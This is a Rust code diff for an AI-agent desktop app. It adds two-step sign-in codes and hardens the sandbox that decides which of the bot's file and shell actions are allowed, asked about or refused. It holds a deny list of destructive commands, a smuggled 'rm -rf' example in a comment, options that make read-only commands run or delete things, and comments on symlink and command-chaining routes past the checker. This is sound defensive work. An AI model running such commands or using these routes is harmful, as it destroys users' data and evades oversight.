v["token"].as_str().filter(|t| !t.is_empty()).map(String::from).ok_or_else(|| "帳號伺服器沒有給登入憑證".to_string())
|
||||||
|
}
|
||||||
|
|
||||||
/// Sign in (or create the account) at the relay and register this AnyBot as one of its hosts.
|
/// Sign in (or create the account) at the relay and register this AnyBot as one of its hosts.
|
||||||
/// Returns the settings to keep.
|
/// Returns the settings to keep. `code`: the 兩步驗證 code, for an account that has it on.
|
||||||
pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &str, create: bool, invite: &str) -> Result<Settings, String> {
|
pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &str, create: bool, invite: &str, code: &str) -> Result<Settings, String> {
|
||||||
// The relay signs people in by the trimmed, lowered name; the backup key must be derived
|
// The relay signs people in by the trimmed, lowered name; the backup key must be derived
|
||||||
// from exactly the same string, or two computers signing in as "Dan" and "dan" get keys
|
// from exactly the same string, or two computers signing in as "Dan" and "dan" get keys
|
||||||
// that cannot open each other's backups.
|
// that cannot open each other's backups.
|
||||||
|
|
@ -1136,8 +1161,7 @@ pub fn relay_join(base_settings: &Settings, url: &str, user: &str, password: &st
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": host_name}))?;
|
let session = relay_login(&url, user, password, host_name, code)?;
|
||||||
let session = v["token"].as_str().ok_or("帳號伺服器沒有給登入憑證")?.to_string();
|
|
||||||
let h = relay_post(&format!("{url}/relay/hosts"), &session, &json!({"name": host_name}))?;
|
let h = relay_post(&format!("{url}/relay/hosts"), &session, &json!({"name": host_name}))?;
|
||||||
// The desktop doesn't need to stay signed in as a person; only the host key is kept.
|
// The desktop doesn't need to stay signed in as a person; only the host key is kept.
|
||||||
let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({}));
|
let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({}));
|
||||||
|
|
@ -1265,13 +1289,12 @@ pub fn backup_now(s: &Settings, state_json: &[u8]) -> Result<usize, String> {
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Download and open the newest backup of this account (for a new computer).
|
/// Download and open the newest backup of this account (for a new computer).
|
||||||
pub fn restore(url: &str, user: &str, password: &str) -> Result<Vec<u8>, String> {
|
pub fn restore(url: &str, user: &str, password: &str, code: &str) -> Result<Vec<u8>, String> {
|
||||||
// Same name shape the relay (and relay_join) use for the backup key.
|
// Same name shape the relay (and relay_join) use for the backup key.
|
||||||
let user = user.trim().to_lowercase();
|
let user = user.trim().to_lowercase();
|
||||||
let user = user.as_str();
|
let user = user.as_str();
|
||||||
let url = base(url);
|
let url = base(url);
|
||||||
let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": "還原備份"}))?;
|
let session = relay_login(&url, user, password, "還原備份", code)?;
|
||||||
let session = v["token"].as_str().unwrap_or("").to_string();
|
|
||||||
let mut resp = agent(120).get(&format!("{url}/relay/backup")).header("Authorization", &format!("Bearer {session}")).call().map_err(|e| e.to_string())?;
|
let mut resp = agent(120).get(&format!("{url}/relay/backup")).header("Authorization", &format!("Bearer {session}")).call().map_err(|e| e.to_string())?;
|
||||||
let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({}));
|
let _ = relay_post(&format!("{url}/relay/logout"), &session, &json!({}));
|
||||||
if resp.status().as_u16() == 404 {
|
if resp.status().as_u16() == 404 {
|
||||||
|
|
@ -1447,6 +1470,7 @@ pub fn publish_site(name: &str, local: &std::path::Path) -> Result<String, Strin
|
||||||
files.push(json!({"path": n, "data": base64::engine::general_purpose::STANDARD.encode(bytes)}));
|
files.push(json!({"path": n, "data": base64::engine::general_purpose::STANDARD.encode(bytes)}));
|
||||||
} else {
|
} else {
|
||||||
let mut stack = vec![local.to_path_buf()];
|
let mut stack = vec![local.to_path_buf()];
|
||||||
|
let home = std::fs::canonicalize(local).unwrap_or_else(|_| local.to_path_buf());
|
||||||
while let Some(d) = stack.pop() {
|
while let Some(d) = stack.pop() {
|
||||||
for e in std::fs::read_dir(&d).map_err(|e| format!("讀不到資料夾:{e}"))?.flatten() {
|
for e in std::fs::read_dir(&d).map_err(|e| format!("讀不到資料夾:{e}"))?.flatten() {
|
||||||
let p = e.path();
|
let p = e.path();
|
||||||
|
|
@ -1454,6 +1478,12 @@ pub fn publish_site(name: &str, local: &std::path::Path) -> Result<String, Strin
|
||||||
if fname.starts_with('.') || fname == "node_modules" {
|
if fname.starts_with('.') || fname == "node_modules" {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
// Keys and the like stay home, and so does what a link points to outside the
|
||||||
|
// site's folder (a link to ~/Documents would have put it all on the web).
|
||||||
|
let real = std::fs::canonicalize(&p).unwrap_or_else(|_| p.clone());
|
||||||
|
if crate::tools::is_ignored(&p) || crate::tools::is_ignored(&real) || !real.starts_with(&home) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
if p.is_dir() {
|
if p.is_dir() {
|
||||||
stack.push(p);
|
stack.push(p);
|
||||||
} else if let Ok(bytes) = std::fs::read(&p) {
|
} else if let Ok(bytes) = std::fs::read(&p) {
|
||||||
|
|
@ -1533,9 +1563,9 @@ pub struct AccountFind {
|
||||||
pub backup: Option<Vec<u8>>,
|
pub backup: Option<Vec<u8>>,
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn find_account_bots(s: &Settings, password: &str) -> AccountFind {
|
pub fn find_account_bots(s: &Settings, password: &str, code: &str) -> AccountFind {
|
||||||
let brain = peers(s).ok().and_then(|hosts| pick_brain(&hosts, &s.host_id));
|
let brain = peers(s).ok().and_then(|hosts| pick_brain(&hosts, &s.host_id));
|
||||||
let backup = if brain.is_none() { restore(&s.relay_url, &s.relay_user, password).ok() } else { None };
|
let backup = if brain.is_none() { restore(&s.relay_url, &s.relay_user, password, code).ok() } else { None };
|
||||||
AccountFind { brain, backup }
|
AccountFind { brain, backup }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -1832,13 +1862,13 @@ mod account_sync_live {
|
||||||
let url = std::env::var("ANYBOT_RELAY_URL").expect("ANYBOT_RELAY_URL");
|
let url = std::env::var("ANYBOT_RELAY_URL").expect("ANYBOT_RELAY_URL");
|
||||||
let (user, pw) = (format!("t{}", crate::httpd::random_hex(4)), "sync-pass-123");
|
let (user, pw) = (format!("t{}", crate::httpd::random_hex(4)), "sync-pass-123");
|
||||||
// The first computer signs up and backs up its bots.
|
// The first computer signs up and backs up its bots.
|
||||||
let a = relay_join(&Settings { host_name: "第一台".into(), ..Default::default() }, &url, &user, pw, true, "").unwrap();
|
let a = relay_join(&Settings { host_name: "第一台".into(), ..Default::default() }, &url, &user, pw, true, "", "").unwrap();
|
||||||
let mut st = crate::model::State::samples();
|
let mut st = crate::model::State::samples();
|
||||||
st.remote = Default::default();
|
st.remote = Default::default();
|
||||||
backup_now(&a, &serde_json::to_vec(&st).unwrap()).unwrap();
|
backup_now(&a, &serde_json::to_vec(&st).unwrap()).unwrap();
|
||||||
// A new computer signs in: no other brain is on, so the backup is what it takes in.
|
// A new computer signs in: no other brain is on, so the backup is what it takes in.
|
||||||
let b = relay_join(&Settings { host_name: "新電腦".into(), ..Default::default() }, &url, &user, pw, false, "").unwrap();
|
let b = relay_join(&Settings { host_name: "新電腦".into(), ..Default::default() }, &url, &user, pw, false, "", "").unwrap();
|
||||||
let found = find_account_bots(&b, pw);
|
let found = find_account_bots(&b, pw, "");
|
||||||
assert!(found.brain.is_none());
|
assert!(found.brain.is_none());
|
||||||
let got: crate::model::State = serde_json::from_slice(&found.backup.expect("backup")).unwrap();
|
let got: crate::model::State = serde_json::from_slice(&found.backup.expect("backup")).unwrap();
|
||||||
let mut here = crate::model::State::first_run();
|
let mut here = crate::model::State::first_run();
|
||||||
|
|
|
||||||
|
|
@ -550,7 +550,8 @@ fn brain_of(s: &Settings) -> Option<Peer> {
|
||||||
/// Sign in with the password; the brain is picked when there is only one to pick.
|
/// Sign in with the password; the brain is picked when there is only one to pick.
|
||||||
fn join_with_password(base: &Settings, url: &str, user: &str, pass: &str) -> Result<(Settings, Option<Peer>, Vec<Peer>), String> {
|
fn join_with_password(base: &Settings, url: &str, user: &str, pass: &str) -> Result<(Settings, Option<Peer>, Vec<Peer>), String> {
|
||||||
let url = remote::check_server(url)?;
|
let url = remote::check_server(url)?;
|
||||||
let s = remote::relay_join(base, &url, user, pass, false, "")?;
|
// (No field for a 兩步驗證 code on these pages: the pairing code is the way in then.)
|
||||||
|
let s = remote::relay_join(base, &url, user, pass, false, "", "").map_err(|e| if e.starts_with(remote::NEED_CODE) { format!("{e}這裡請改用配對碼:在手機或電腦的 AnyBot 按「加一台電腦」。") } else { e })?;
|
||||||
let list = list_brains(&s).unwrap_or_default();
|
let list = list_brains(&s).unwrap_or_default();
|
||||||
let online: Vec<&Peer> = list.iter().filter(|p| p.online).collect();
|
let online: Vec<&Peer> = list.iter().filter(|p| p.online).collect();
|
||||||
let brain = if list.len() == 1 { list.first().cloned() } else if online.len() == 1 { Some(online[0].clone()) } else { None };
|
let brain = if list.len() == 1 { list.first().cloned() } else if online.len() == 1 { Some(online[0].clone()) } else { None };
|
||||||
|
|
|
||||||
518
src/tools.rs
518
src/tools.rs
|
|
@ -174,6 +174,37 @@ fn inside(workdir: &Path, p: &Path) -> bool {
|
||||||
p.starts_with(workdir)
|
p.starts_with(workdir)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Where a path really leads, links followed — also for a file that isn't there yet (its
|
||||||
|
/// folder's real place, plus its name) and for a link to something that isn't there yet (what
|
||||||
|
/// would be made by writing to it).
|
||||||
|
fn real_of(p: &Path) -> PathBuf {
|
||||||
|
fn steps(p: &Path, links: usize) -> PathBuf {
|
||||||
|
if let Ok(real) = std::fs::canonicalize(p) {
|
||||||
|
return real;
|
||||||
|
}
|
||||||
|
if links < 16 {
|
||||||
|
if let Ok(to) = std::fs::read_link(p) {
|
||||||
|
let to = if to.is_absolute() { to } else { p.parent().unwrap_or(Path::new("/")).join(to) };
|
||||||
|
return steps(&resolve(Path::new("/"), &to.to_string_lossy()), links + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
match (p.parent(), p.file_name()) {
|
||||||
|
(Some(parent), Some(name)) if parent != p => steps(parent, links).join(name),
|
||||||
|
_ => p.to_path_buf(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
steps(p, 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The file is in the folder — the real file, in the real folder. How the path is spelled is
|
||||||
|
/// not enough: a link inside the folder that points out of it is a way out. (A command the
|
||||||
|
/// sandbox keeps inside the folder can still make such a link; reading or editing "through"
|
||||||
|
/// it then reached any file of the person's, with no question — from the bot's sealed folder
|
||||||
|
/// too.)
|
||||||
|
fn within(folder: &Path, p: &Path) -> bool {
|
||||||
|
inside(&real_of(folder), &real_of(p))
|
||||||
|
}
|
||||||
|
|
||||||
/// Files a bot never reads or writes: secrets and version-control internals
|
/// Files a bot never reads or writes: secrets and version-control internals
|
||||||
/// (the original blocks reads/writes by ignore files and repo-block globs),
|
/// (the original blocks reads/writes by ignore files and repo-block globs),
|
||||||
/// plus this app's own data folder, where API keys are saved.
|
/// plus this app's own data folder, where API keys are saved.
|
||||||
|
|
@ -208,47 +239,200 @@ const READ_ONLY_COMMANDS: [&str; 24] = [
|
||||||
/// Always refused.
|
/// Always refused.
|
||||||
const DENIED_COMMANDS: [&str; 10] = ["sudo", "su", "rm -rf /", "rm -rf ~", "mkfs", "dd", "shutdown", "reboot", "diskutil erase", "chmod -R 777 /"];
|
const DENIED_COMMANDS: [&str; 10] = ["sudo", "su", "rm -rf /", "rm -rf ~", "mkfs", "dd", "shutdown", "reboot", "diskutil erase", "chmod -R 777 /"];
|
||||||
|
|
||||||
/// Split `a && b | c; d` into its commands, keeping quoted text together.
|
/// One command of a chain. `hidden`: it carries commands the rules can't read ($(…), backticks,
|
||||||
/// Returns None when the command hides other commands ($(), backticks, eval).
|
/// <(…), eval…), so being a "looking" command says nothing about what it runs.
|
||||||
pub fn split_commands(cmd: &str) -> Option<Vec<String>> {
|
struct Piece {
|
||||||
let mut parts = vec![];
|
text: String,
|
||||||
|
hidden: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Split `a && b | c; d` where the shell itself would: at the separators outside quotes and
|
||||||
|
/// outside $(…) and backticks. None when a quote or a substitution never closes (nothing in
|
||||||
|
/// such a command can be read for sure).
|
||||||
|
///
|
||||||
|
/// A backslash makes the next character plain text, as it does for the shell: `\"` opens no
|
||||||
|
/// quote and `\;` ends no command. Without that, `echo \"; rm -rf x; echo \"` read as one
|
||||||
|
/// harmless `echo`.
|
||||||
|
fn split_shell(cmd: &str) -> Option<Vec<Piece>> {
|
||||||
|
#[derive(PartialEq)]
|
||||||
|
enum In {
|
||||||
|
Double,
|
||||||
|
Paren,
|
||||||
|
Tick,
|
||||||
|
}
|
||||||
|
fn close(cur: &mut String, hidden: &mut bool, pieces: &mut Vec<Piece>) {
|
||||||
|
let text = cur.trim().to_string();
|
||||||
|
if !text.is_empty() {
|
||||||
|
let first = text.split_whitespace().next().unwrap_or("");
|
||||||
|
let runs_words = matches!(first, "eval" | "exec" | "source" | ".");
|
||||||
|
pieces.push(Piece { text, hidden: *hidden || runs_words });
|
||||||
|
}
|
||||||
|
cur.clear();
|
||||||
|
*hidden = false;
|
||||||
|
}
|
||||||
|
let mut pieces = vec![];
|
||||||
let mut cur = String::new();
|
let mut cur = String::new();
|
||||||
let (mut sq, mut dq) = (false, false);
|
let mut hidden = false;
|
||||||
|
let mut single = false;
|
||||||
|
let mut stack: Vec<In> = vec![];
|
||||||
let chars: Vec<char> = cmd.chars().collect();
|
let chars: Vec<char> = cmd.chars().collect();
|
||||||
let mut i = 0;
|
let mut i = 0;
|
||||||
while i < chars.len() {
|
while i < chars.len() {
|
||||||
let c = chars[i];
|
let c = chars[i];
|
||||||
let next = chars.get(i + 1).copied();
|
let next = chars.get(i + 1).copied();
|
||||||
if c == '\'' && !dq {
|
if single {
|
||||||
sq = !sq;
|
single = c != '\'';
|
||||||
} else if c == '"' && !sq {
|
cur.push(c);
|
||||||
dq = !dq;
|
i += 1;
|
||||||
} else if !sq && (c == '`' || (c == '$' && next == Some('('))) {
|
continue;
|
||||||
return None;
|
|
||||||
} else if !sq && !dq && (c == ';' || c == '\n' || c == '|' || c == '&') {
|
|
||||||
if !cur.trim().is_empty() {
|
|
||||||
parts.push(cur.trim().to_string());
|
|
||||||
}
|
}
|
||||||
cur.clear();
|
if c == '\\' {
|
||||||
|
cur.push(c);
|
||||||
|
if let Some(n) = next {
|
||||||
|
cur.push(n);
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
i += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let in_double = stack.last() == Some(&In::Double);
|
||||||
|
match c {
|
||||||
|
'"' if in_double => {
|
||||||
|
stack.pop();
|
||||||
|
}
|
||||||
|
'"' => stack.push(In::Double),
|
||||||
|
'\'' if !in_double => single = true,
|
||||||
|
'`' => {
|
||||||
|
hidden = true;
|
||||||
|
if stack.last() == Some(&In::Tick) {
|
||||||
|
stack.pop();
|
||||||
|
} else {
|
||||||
|
stack.push(In::Tick);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
'$' | '<' | '>' if next == Some('(') && (c == '$' || !in_double) => {
|
||||||
|
hidden = true;
|
||||||
|
stack.push(In::Paren);
|
||||||
|
cur.push(c);
|
||||||
|
cur.push('(');
|
||||||
|
i += 2;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
'(' if stack.last() == Some(&In::Paren) => stack.push(In::Paren),
|
||||||
|
')' if stack.last() == Some(&In::Paren) => {
|
||||||
|
stack.pop();
|
||||||
|
}
|
||||||
|
';' | '\n' | '|' | '&' if stack.is_empty() => {
|
||||||
|
close(&mut cur, &mut hidden, &mut pieces);
|
||||||
if (c == '|' || c == '&') && next == Some(c) {
|
if (c == '|' || c == '&') && next == Some(c) {
|
||||||
i += 1;
|
i += 1;
|
||||||
}
|
}
|
||||||
i += 1;
|
i += 1;
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
cur.push(c);
|
cur.push(c);
|
||||||
i += 1;
|
i += 1;
|
||||||
}
|
}
|
||||||
if sq || dq {
|
if single || !stack.is_empty() {
|
||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
if !cur.trim().is_empty() {
|
close(&mut cur, &mut hidden, &mut pieces);
|
||||||
parts.push(cur.trim().to_string());
|
Some(pieces)
|
||||||
}
|
}
|
||||||
if parts.iter().any(|p| { let w = p.split_whitespace().next().unwrap_or(""); w == "eval" || w == "exec" || w == "source" || w == "." }) {
|
|
||||||
|
/// Split `a && b | c; d` into its commands, keeping quoted text together.
|
||||||
|
/// Returns None when the command hides other commands ($(), backticks, eval).
|
||||||
|
pub fn split_commands(cmd: &str) -> Option<Vec<String>> {
|
||||||
|
let pieces = split_shell(cmd)?;
|
||||||
|
if pieces.iter().any(|p| p.hidden) {
|
||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
Some(parts)
|
Some(pieces.into_iter().map(|p| p.text).collect())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The shell would rewrite this command's words before running it: a variable or a brace list
|
||||||
|
/// (`{a,b}`, `{1..3}`) outside single quotes can stand for any word, an option included.
|
||||||
|
/// (`HEAD@{1}` is not a list and stays as written.) So can a file name: `*`, `?` or `[` at the
|
||||||
|
/// head of a word, or in a word that begins with `-`, becomes whatever is in the folder, and a
|
||||||
|
/// file may be called `-delete` or `--pre=./x`. (`src/*.rs` can only become paths under `src/`.)
|
||||||
|
fn shell_rewrites(part: &str) -> bool {
|
||||||
|
let chars: Vec<char> = part.chars().collect();
|
||||||
|
let (mut single, mut double) = (false, false);
|
||||||
|
// The first character of the word being read (None between words).
|
||||||
|
let mut head: Option<char> = None;
|
||||||
|
let mut i = 0;
|
||||||
|
while i < chars.len() {
|
||||||
|
let c = chars[i];
|
||||||
|
if single {
|
||||||
|
single = c != '\'';
|
||||||
|
} else if c == '\\' {
|
||||||
|
head = head.or(Some('\\'));
|
||||||
|
i += 1;
|
||||||
|
} else if c == '\'' {
|
||||||
|
head = head.or(Some(c));
|
||||||
|
single = true;
|
||||||
|
} else if c == '"' {
|
||||||
|
head = head.or(Some(c));
|
||||||
|
double = !double;
|
||||||
|
} else if c == '$' && chars.get(i + 1).is_some_and(|n| n.is_alphanumeric() || *n == '_' || *n == '{') {
|
||||||
|
return true;
|
||||||
|
} else if double {
|
||||||
|
// (Inside double quotes only `$` is rewritten.)
|
||||||
|
} else if c.is_whitespace() {
|
||||||
|
head = None;
|
||||||
|
} else if c == '{' {
|
||||||
|
let inner: String = chars[i + 1..].iter().take_while(|x| **x != '}').collect();
|
||||||
|
if inner.contains(',') || inner.contains("..") {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
head = head.or(Some(c));
|
||||||
|
} else if matches!(c, '*' | '?' | '[') {
|
||||||
|
if head.is_none() || head == Some('-') {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
head = head.or(Some(c));
|
||||||
|
}
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A looking command (READ_ONLY_COMMANDS) stays one only without the options that make it
|
||||||
|
/// write, delete or run something else: `find -delete`, `find -exec`, `sort -o`, `rg --pre`…
|
||||||
|
/// These went through without a question because only the first word was read.
|
||||||
|
///
|
||||||
|
/// Quotes and backslashes are dropped before matching, as the shell drops them (`-del"ete"`),
|
||||||
|
/// and a command whose words the shell would rewrite asks instead of being guessed at.
|
||||||
|
fn read_only(part: &str) -> bool {
|
||||||
|
if !READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
let w: Vec<String> = words(part).iter().map(|a| a.replace(['\'', '"', '\\'], "")).collect();
|
||||||
|
let long = |names: &[&str]| w.iter().any(|a| names.iter().any(|n| a == n || a.strip_prefix(n).is_some_and(|r| r.starts_with('='))));
|
||||||
|
let short = |c: char| w.iter().skip(1).any(|a| a.starts_with('-') && !a.starts_with("--") && a.contains(c));
|
||||||
|
let changes = match w.first().map(String::as_str).unwrap_or("") {
|
||||||
|
"find" => w.iter().any(|a| matches!(a.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir" | "-delete" | "-fprint" | "-fprint0" | "-fprintf" | "-fls")),
|
||||||
|
"sort" => short('o') || long(&["--output", "--compress-program"]),
|
||||||
|
"tree" => short('o'),
|
||||||
|
"rg" => long(&["--pre", "--hostname-bin"]),
|
||||||
|
"git" => long(&["--output"]),
|
||||||
|
// `uniq in out` writes its second file.
|
||||||
|
// (`-` alone is a file too: standard input.)
|
||||||
|
"uniq" => w.iter().skip(1).filter(|a| *a == "-" || !a.starts_with('-')).count() > 1,
|
||||||
|
"file" => short('C') || long(&["--compile"]),
|
||||||
|
// The rest have no such option: nothing to hide behind a variable.
|
||||||
|
_ => return true,
|
||||||
|
};
|
||||||
|
!changes && !shell_rewrites(part)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A looking command whose options can make it write, delete or run something (the ones
|
||||||
|
/// `read_only` reads the options of).
|
||||||
|
fn has_changing_options(part: &str) -> bool {
|
||||||
|
READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) && matches!(words(part).first().copied().unwrap_or(""), "find" | "sort" | "tree" | "rg" | "git" | "uniq" | "file")
|
||||||
}
|
}
|
||||||
|
|
||||||
fn words(cmd: &str) -> Vec<&str> {
|
fn words(cmd: &str) -> Vec<&str> {
|
||||||
|
|
@ -312,10 +496,10 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci
|
||||||
match name {
|
match name {
|
||||||
"list_dir" | "search" | "read_file" => {
|
"list_dir" | "search" | "read_file" => {
|
||||||
let p = resolve(workdir, &arg_str(&v, "path"));
|
let p = resolve(workdir, &arg_str(&v, "path"));
|
||||||
if is_ignored(&p) {
|
if is_ignored(&p) || is_ignored(&real_of(&p)) {
|
||||||
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", p.display()));
|
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", p.display()));
|
||||||
}
|
}
|
||||||
if inside(workdir, &p) || granted("read:anywhere") {
|
if within(workdir, &p) || granted("read:anywhere") {
|
||||||
Decision::Allow
|
Decision::Allow
|
||||||
} else {
|
} else {
|
||||||
Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", p.display()), grant: "read:anywhere".into() }
|
Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", p.display()), grant: "read:anywhere".into() }
|
||||||
|
|
@ -324,10 +508,10 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci
|
||||||
"read_terminal" | "write_terminal" => Decision::Allow,
|
"read_terminal" | "write_terminal" => Decision::Allow,
|
||||||
"edit_file" => {
|
"edit_file" => {
|
||||||
let p = resolve(workdir, &arg_str(&v, "path"));
|
let p = resolve(workdir, &arg_str(&v, "path"));
|
||||||
if is_ignored(&p) {
|
if is_ignored(&p) || is_ignored(&real_of(&p)) {
|
||||||
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能修改。", p.display()));
|
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能修改。", p.display()));
|
||||||
}
|
}
|
||||||
if !inside(workdir, &p) {
|
if !within(workdir, &p) {
|
||||||
return Decision::Ask { reason: format!("修改工作資料夾以外的檔案:{}", p.display()), grant: String::new() };
|
return Decision::Ask { reason: format!("修改工作資料夾以外的檔案:{}", p.display()), grant: String::new() };
|
||||||
}
|
}
|
||||||
if granted("edit_file") {
|
if granted("edit_file") {
|
||||||
|
|
@ -341,35 +525,40 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci
|
||||||
if cmd.trim().is_empty() {
|
if cmd.trim().is_empty() {
|
||||||
return Decision::Deny("沒有指令".into());
|
return Decision::Deny("沒有指令".into());
|
||||||
}
|
}
|
||||||
let Some(parts) = split_commands(&cmd) else {
|
let Some(pieces) = split_shell(&cmd) else {
|
||||||
// Commands the splitter can't read ($(), backticks, eval…) ask once and remember
|
// A quote or a $(…) that never closes: where one command ends and the next
|
||||||
// by their first word: 「一律允許」 on `git` covers `git … $(…)` afterwards, so
|
// begins can't be told, so no grant covers it and none is offered.
|
||||||
// the same shape of command doesn't ask again (models use $(…) constantly).
|
|
||||||
if let Some(d) = denied_hit(&cmd) {
|
if let Some(d) = denied_hit(&cmd) {
|
||||||
return Decision::Deny(format!("「{d}」這類指令一律不允許。"));
|
return Decision::Deny(format!("「{d}」這類指令一律不允許。"));
|
||||||
}
|
}
|
||||||
let grant = shell_grant(&cmd);
|
return Decision::Ask { reason: format!("執行指令(引號或括號沒有成對,無法自動判斷):{cmd}"), grant: String::new() };
|
||||||
if !writes_files(&cmd) && granted(&grant) {
|
|
||||||
return Decision::Allow;
|
|
||||||
}
|
|
||||||
return Decision::Ask { reason: format!("執行指令(含有隱藏的子指令,無法自動判斷):{cmd}"), grant };
|
|
||||||
};
|
};
|
||||||
// deny
|
// deny
|
||||||
for part in &parts {
|
for piece in &pieces {
|
||||||
if let Some(d) = denied_hit(part) {
|
if let Some(d) = denied_hit(&piece.text) {
|
||||||
return Decision::Deny(format!("「{d}」這類指令一律不允許。"));
|
return Decision::Deny(format!("「{d}」這類指令一律不允許。"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// (No word-by-word path scan here: secret folders are the sandbox's job, and
|
// (No word-by-word path scan here: secret folders are the sandbox's job, and
|
||||||
// scanning words as paths denied perfectly ordinary commands.)
|
// scanning words as paths denied perfectly ordinary commands.)
|
||||||
// allow: every part is read-only or already granted
|
// allow: every part is read-only or already granted. A part that hides other
|
||||||
let ok = |part: &String| !writes_files(part) && (READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) || granted(&shell_grant(part)));
|
// commands ($(), backticks, eval…) is never read-only: it asks once and is
|
||||||
let unapproved: Vec<&String> = parts.iter().filter(|p| !ok(p)).collect();
|
// remembered by its first word, so 「一律允許」 on `git commit` covers
|
||||||
|
// `git commit -m "$(…)"` afterwards (models use $(…) constantly) — but only that
|
||||||
|
// part: the grant used to let everything chained after it through as well.
|
||||||
|
//
|
||||||
|
// A looking command that may do more than look (`find … -delete`, `sort -o`, or
|
||||||
|
// one whose words can't be read) is asked each time: 「一律允許」 on its first word
|
||||||
|
// would be every `find -exec` from then on, on a word nobody thinks of as dangerous.
|
||||||
|
let each_time = |p: &Piece| has_changing_options(&p.text) && (p.hidden || !read_only(&p.text));
|
||||||
|
let ok = |p: &Piece| !writes_files(&p.text) && ((!each_time(p) && granted(&shell_grant(&p.text))) || (!p.hidden && read_only(&p.text)));
|
||||||
|
let unapproved: Vec<&Piece> = pieces.iter().filter(|p| !ok(p)).collect();
|
||||||
if unapproved.is_empty() {
|
if unapproved.is_empty() {
|
||||||
return Decision::Allow;
|
return Decision::Allow;
|
||||||
}
|
}
|
||||||
let grant = if unapproved.len() == 1 && !writes_files(unapproved[0]) { shell_grant(unapproved[0]) } else { String::new() };
|
let grant = if unapproved.len() == 1 && !writes_files(&unapproved[0].text) && !each_time(unapproved[0]) { shell_grant(&unapproved[0].text) } else { String::new() };
|
||||||
Decision::Ask { reason: format!("執行指令:{cmd}"), grant }
|
let note = if pieces.iter().any(|p| p.hidden) { "(含有隱藏的子指令,無法自動判斷)" } else { "" };
|
||||||
|
Decision::Ask { reason: format!("執行指令{note}:{cmd}"), grant }
|
||||||
}
|
}
|
||||||
other => Decision::Deny(format!("沒有「{other}」這個工具")),
|
other => Decision::Deny(format!("沒有「{other}」這個工具")),
|
||||||
}
|
}
|
||||||
|
|
@ -586,11 +775,43 @@ fn process_listing(cmd: &str) -> bool {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
parts.all(|p| {
|
parts.all(|p| {
|
||||||
let mut w = p.split_whitespace();
|
if p.contains('/') {
|
||||||
matches!(w.next().unwrap_or(""), "grep" | "egrep" | "head" | "tail" | "wc" | "sort" | "uniq" | "cut" | "awk") && !p.contains('/')
|
return false;
|
||||||
|
}
|
||||||
|
match p.split_whitespace().next().unwrap_or("") {
|
||||||
|
"egrep" | "cut" => true,
|
||||||
|
"awk" => awk_only_prints(p),
|
||||||
|
// (`sort -o`, `sort --compress-program`, `uniq in out`: not filters any more.)
|
||||||
|
"grep" | "head" | "tail" | "wc" | "sort" | "uniq" => read_only(p),
|
||||||
|
_ => false,
|
||||||
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// `awk [-F sep] [-v name=value] 'program'` whose program starts nothing: awk can run any
|
||||||
|
/// command itself (`system("…")`, `"cmd" | getline`, `print | "cmd"`), read a program from a
|
||||||
|
/// file (`-f`) and load code (`@include`, `@load`) — here that would be outside the sandbox.
|
||||||
|
fn awk_only_prints(part: &str) -> bool {
|
||||||
|
let Some(w) = plain_words(part) else { return false };
|
||||||
|
let mut rest = w.iter().skip(1).map(String::as_str).peekable();
|
||||||
|
while let Some(a) = rest.peek().copied() {
|
||||||
|
match a {
|
||||||
|
"-F" | "-v" => {
|
||||||
|
rest.next();
|
||||||
|
if rest.next().is_none() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ if a.starts_with("-F") || a.starts_with("-v") => {
|
||||||
|
rest.next();
|
||||||
|
}
|
||||||
|
_ => break,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
